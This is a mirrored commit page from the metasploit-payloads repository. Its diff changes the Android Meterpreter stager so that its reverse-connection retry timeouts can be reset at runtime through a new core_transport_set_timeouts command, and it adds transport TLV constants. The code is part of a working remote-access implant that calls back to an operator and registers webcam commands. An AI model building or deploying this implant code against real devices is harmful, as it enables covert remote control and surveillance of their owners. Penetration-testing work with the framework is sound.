You've already forked metasploit-payloads
mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-08-16 10:50:20 +02:00
add ability to change retry_wait/retry_total at runtime
This commit is contained in:
java
androidpayload
app
src
com
metasploit
stage
library
meterpreter
meterpreter
src
main
java
com
metasploit
meterpreter
@ -24,9 +24,10 @@ public class Payload {
|
||||
public static final String RETRY_TOTAL = "TTTT ";
|
||||
public static final String RETRY_WAIT = "SSSS ";
|
||||
|
||||
public static long retry_total;
|
||||
public static long retry_wait;
|
||||
|
||||
private static String[] parameters;
|
||||
private static int retryTotal;
|
||||
private static int retryWait;
|
||||
|
||||
public static void start(Context context) {
|
||||
startInPath(context.getFilesDir().toString());
|
||||
@ -53,6 +54,8 @@ public class Payload {
|
||||
String path = currentDir.getAbsolutePath();
|
||||
parameters = new String[]{path};
|
||||
}
|
||||
int retryTotal;
|
||||
int retryWait;
|
||||
try {
|
||||
retryTotal = Integer.parseInt(RETRY_TOTAL.substring(4).trim());
|
||||
retryWait = Integer.parseInt(RETRY_WAIT.substring(4).trim());
|
||||
@ -60,10 +63,11 @@ public class Payload {
|
||||
return;
|
||||
}
|
||||
|
||||
long retryEnd = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(retryTotal);
|
||||
long retryDelay = TimeUnit.SECONDS.toMillis(retryWait);
|
||||
long payloadStart = System.currentTimeMillis();
|
||||
retry_total = TimeUnit.SECONDS.toMillis(retryTotal);
|
||||
retry_wait = TimeUnit.SECONDS.toMillis(retryWait);
|
||||
|
||||
while (retryEnd > System.currentTimeMillis()) {
|
||||
while (System.currentTimeMillis() < payloadStart + retry_total) {
|
||||
try {
|
||||
if (URL.substring(4).trim().length() == 0) {
|
||||
reverseTCP();
|
||||
@ -75,7 +79,7 @@ public class Payload {
|
||||
e.printStackTrace();
|
||||
}
|
||||
try {
|
||||
Thread.sleep(retryDelay);
|
||||
Thread.sleep(retry_wait);
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
}
|
||||
|
@ -32,6 +32,12 @@
|
||||
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-AndroidPayload</artifactId>
|
||||
<version>${project.version}</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
|
@ -17,6 +17,7 @@ import com.metasploit.meterpreter.android.webcam_get_frame_android;
|
||||
import com.metasploit.meterpreter.android.webcam_list_android;
|
||||
import com.metasploit.meterpreter.android.webcam_start_android;
|
||||
import com.metasploit.meterpreter.android.webcam_stop_android;
|
||||
import com.metasploit.meterpreter.core.core_transport_set_timeouts;
|
||||
import com.metasploit.meterpreter.stdapi.Loader;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
|
||||
@ -104,6 +105,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
getCommandManager().resetNewCommands();
|
||||
CommandManager mgr = getCommandManager();
|
||||
Loader.cwd = new File(writeableDir);
|
||||
mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class);
|
||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
||||
|
24
java/androidpayload/library/src/com/metasploit/meterpreter/core/core_transport_set_timeouts.java
Normal file
24
java/androidpayload/library/src/com/metasploit/meterpreter/core/core_transport_set_timeouts.java
Normal file
@ -0,0 +1,24 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.stage.Payload;
|
||||
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
public class core_transport_set_timeouts implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Integer retryTotal = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, null);
|
||||
Integer retryWait = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, null);
|
||||
if (retryTotal != null) {
|
||||
Payload.retry_total = TimeUnit.SECONDS.toMillis(retryTotal.intValue());
|
||||
}
|
||||
if (retryWait != null) {
|
||||
Payload.retry_wait = TimeUnit.SECONDS.toMillis(retryWait.intValue());
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -43,6 +43,19 @@ public interface TLVType {
|
||||
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
|
||||
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
|
||||
|
||||
public static final int TLV_TYPE_TRANS_TYPE = TLVPacket.TLV_META_TYPE_UINT | 430;
|
||||
public static final int TLV_TYPE_TRANS_URL = TLVPacket.TLV_META_TYPE_STRING | 431;
|
||||
public static final int TLV_TYPE_TRANS_UA = TLVPacket.TLV_META_TYPE_STRING | 432;
|
||||
public static final int TLV_TYPE_TRANS_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 433;
|
||||
public static final int TLV_TYPE_TRANS_SESSION_EXP = TLVPacket.TLV_META_TYPE_UINT | 434;
|
||||
public static final int TLV_TYPE_TRANS_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 435;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 436;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 437;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 438;
|
||||
public static final int TLV_TYPE_TRANS_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 439;
|
||||
public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440;
|
||||
public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 441;
|
||||
|
||||
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
|
||||
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
|
||||
|
||||
|
Reference in New Issue
Block a user